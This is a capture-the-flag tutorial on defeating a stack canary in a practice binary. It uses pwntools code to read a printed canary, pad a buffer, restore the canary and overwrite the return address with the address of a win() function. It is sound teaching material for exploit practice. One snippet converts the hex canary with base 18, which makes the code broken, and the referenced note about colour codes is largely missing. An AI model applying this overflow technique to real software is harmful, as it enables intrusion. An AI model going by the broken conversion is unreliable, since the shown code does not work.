This challenge is a bit harder. This challenge has a true canary, which we see by running checksec
:
This makes the challenge more realistic by putting a commonly-used security feature on the challenge. When we run it, we get the following output:
Unlike the last program, canaries change every time we run the binary. We can't hard-code the canary; we must get it from the challenge. This challenge demonstrates a simple case: the canary is provided for us. We'll see in the next challenge where it's not provided for us, so we must leak it ourselves.
In this case, I will demonstrate leaking the first orange value off the stack. I challenge you to practice parsing the input and pulling the second value. Before you do, read the note below.
\033[1;33m
(for orange) and end with \033[0m
(any color). Despite not seeing this, you must account for it when receiving your output.After reading the note above, we can cheat our way to the first bit of orange by doing:
p.recvuntil(b'\033[1;33m')
This will receive all the data up to (and including) that text. We don't care much about that text; we can print it if we want; otherwise, we can ignore it.
Then, we need to receive the canary. It's easiest to receive this by receiving exactly 18 bytes (since each hex digit takes two characters to represent, plus the 0x
). Once we receive the canary, we must convert it to a number by decoding it to a string and then performing the conversion. This looks like this:
canary = int(p.recv(18).decode(), 18)
This gives us the canary! There are many other ways of doing it, especially if you don't have coloring. Assuming coloring wasn't there, we could repeatedly use p.recvline()
until we reached our desired line, split by spaces, get the last element, and then convert to a number. This looks like this:
# get the first five lines, we want line 6 for _ in range(5): p.recvline() # get the next line, split by spaces, get last one, # convert to number via base 16 canary = int(p.recvline().decode().split(' ')[-1], 16)
This is often what you'll see in exploits because there's no coloring to use.
Once we have the canary, we can build our payload. This will be identical to the last challenge's payload with some slight adjustments to the padding:
payload = b'A' * 40 payload += p64(canary) payload += b'B' * 8 payload += p64(0x40150b) # address of win()
Running this shows that we successfully did not change the canary but did change the return pointer without detection.